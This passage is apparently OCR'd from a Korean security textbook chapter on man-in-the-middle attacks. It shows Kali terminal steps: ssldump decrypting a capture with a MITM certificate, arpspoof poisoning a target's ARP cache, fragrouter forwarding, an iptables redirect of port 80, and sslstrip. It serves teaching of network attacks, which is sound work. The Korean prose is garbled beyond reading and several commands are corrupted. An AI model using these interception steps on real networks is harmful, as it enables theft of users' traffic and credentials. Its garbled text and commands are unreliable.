
root@kali: ~/Downloads 00
File Edit View Search Terminal Help
root@kali:~/Downloads# ssldump -a -d Ir' wireshark.pcap -k webmitm.crt > wireshar
k_dec.txt "
root@kali:~/Downloads# l

O% 9-47 izl £33}

=0 Chet M& HIOIHE &5

-r: 2230t s Il BE
-k 22390 ArEE ABME XE
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wireshark_dec.txt {~/Downloads) - VIM
File Edit View Search Terminal Help

MNew TCP conmnection #12: 192.168.@l19@t18?3} <=-> kali(443)
12 1 D.066002 (0.8062) (=5 Handshake
ClientHello
Varsion 2.3
resume [32]=
db 61 c2 7a 73 43 9a 40 05 4a 58 1b 75 2b ba 4c
45 79 la 1d b8 4f 55 21 Gb 68 ca c3 c7 12 32 Ba
cipher suites
lrkrnown value Oxccad
Unknown value 0xccad
Unknown value Oxccld

[ | Unknown value 0xccl3

Unknown value 0xc@2b
Unknown value 0xcB2f

08

0%

O% 948 =3 IjjEl

ITC®TKBOOK
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3. MITM &4
-4

SSL AEE Z&0|

HSEE - SAX ALY 22 2isA
« SZ Ch AR A= 7
- e T2 : dsniff IH7 [Xlarpspoof), fragrouter, ssltrip

@ SSL AO|E MEH

=l
“SSLAER ZAS

o7
ol &2l SSL AtO|E M

—

: g I N |
/B =01= -3 14 5 x \
[ c | @ Whois Comp. Ltd [KR] | https: hosting whois.cokn/new/sskphp?t= i 2

OB - RO REM 1M Te]E WHOIS COLER Edp Aol AWE DHM WY oeml SAR oC W BN Ofrieio) bR HE o RO - TOMRE - TS e

S 1oy a7 mon
P # LT3
WHeIS 2)_\%‘] IR N | B4 HERI Hell B wam

HEu

HsAH YPSEAE  SMSEARE  FEYSAE  SSLENMETEM SR/ IR L A i [

C=C ] 2701 300 MH| 2 ST

CEES > 55 HOHH S

SSL HQEMHQIFAME FOIXQILICL  smmsiyian

Wl S0 2, SRTY SOR ARUME R
M| EREAPZOIM HEE SEUH IS LICE LU SRAIE QUFOfM AR, ;M,,_m, SN B A SR B R
7 S XK, SO|ETHO| T 111 MH|AE Mg o 4 4 AUSL|CE S0 FUPHIS F1ELS 3 WEHES WS 4 YAl
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3. MITM &4
-4

SSL AEE S35

@ ARP Z|CiO|HE Z2Z Bl 12l &0
" ARP AZH ZH 43

arpspoof -t 192.168.0.100 192.168.0.1

root@kali: ~/Downloads - oM ]

File Edit View Search Terminal Help

root@kali:~/Downloads# arpspoof -t 192.168.0.100 192.168.06.1

:€:29:ad:25:88 0:c:29:713:d4:93 0806 42: arp reply 192.168.0.1 is-at 0:c:29:ad:2
:88

'€:29:ad:25:88 0:c:29:f3:d4:93 BBE6 42: arp reply 192.168.0.1 is-at @:c:29:ad:2
:88

1c:29:ad:25:688 0:c:29:f3:d4:93 @8@61_42: arp reply 192.168.0.1 is-at @:c:29:ad:2
:88 1

oo uo

72 9-50 ARP 2ICloRIE 32 48

fragrouter -B1

root@kali: ~/Downloads (- O -]

File Edit View Search Terminal Help

root@kali:~/Downloads# fragrouter -Bl
fragrouter: base-1: normal IP forwarding

a8 9-51 mhzl Eaflo] 23
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® Dzl ZCHo[H E
- 2CI0|EYI 80 ZEZ FXZG 2= A2 100008 ZE=E HASHO, X
AOIEG| H&55t=E NATE 278
iptables -t nat -A PREROUTING -i ethO -p tcp --dport 80 -j REDIRECT --to-
port 10000

root@kali: ~ @00

File Edit View Search Terminal Help

root@kali:-# iptables -t nmat -A PREROUTING -i eth@® -p tcp
--to-port 10QG0G

root@kali:~# [

% 9-52 S AIAH LHoll NAT 23

--dport 80 -j REDIRECT
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ssltrip -1 10000
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root@kali: ~ -0

File Edit View Search Terminal Help
root@kali:~# sslstrip -1 1G00G

sslstrip €.9 by Moxie Marlinspike running...

18 9-63 SSL AEE 84 +8
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HSTS(Http Strict Transport Security)&
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